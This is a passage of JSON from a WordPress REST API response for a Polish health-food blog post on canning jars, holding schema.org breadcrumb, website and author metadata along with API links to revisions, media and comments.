s\u0142oikach"},{"@type":"BreadcrumbList","@id":"https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.straganzdrowia.pl\/blog"},{"@type":"ListItem","position":2,"name":"Przepisy","item":"https:\/\/www.straganzdrowia.pl\/blog\/category\/przepisy"},{"@type":"ListItem","position":3,"name":"Jak wekowa\u0107 s\u0142oiki? O tych rzeczach nie zapominaj!"}]},{"@type":"WebSite","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website","url":"https:\/\/www.straganzdrowia.pl\/blog\/","name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","description":"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.straganzdrowia.pl\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pl-PL"},{"@type":"Person","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/3501d0e2e2e6b5ecfcd78f3c2ab67b0d","name":"Regina | StraganZdrowia.pl","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/secure.gravatar.com\/avatar\/7a1c3b37e188422815ce4fef4ec985e60502e7cc8c37ac4ab37f5bca2bd122c0?s=96&d=wavatar&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/7a1c3b37e188422815ce4fef4ec985e60502e7cc8c37ac4ab37f5bca2bd122c0?s=96&d=wavatar&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/7a1c3b37e188422815ce4fef4ec985e60502e7cc8c37ac4ab37f5bca2bd122c0?s=96&d=wavatar&r=g","caption":"Regina | StraganZdrowia.pl"},"sameAs":["https:\/\/www.straganzdrowia.pl"],"url":"https:\/\/www.straganzdrowia.pl\/blog\/author\/regina-straganzdrowia-pl"}]}},"_links":{"self":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/10816","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/comments?post=10816"}],"version-history":[{"count":3,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/10816\/revisions"}],"predecessor-version":[{"id":10822,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/10816\/revisions\/10822"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media\/10817"}],"wp:attachment":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media?parent=10816"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/categories?post=10816"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/tags?post=10816"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}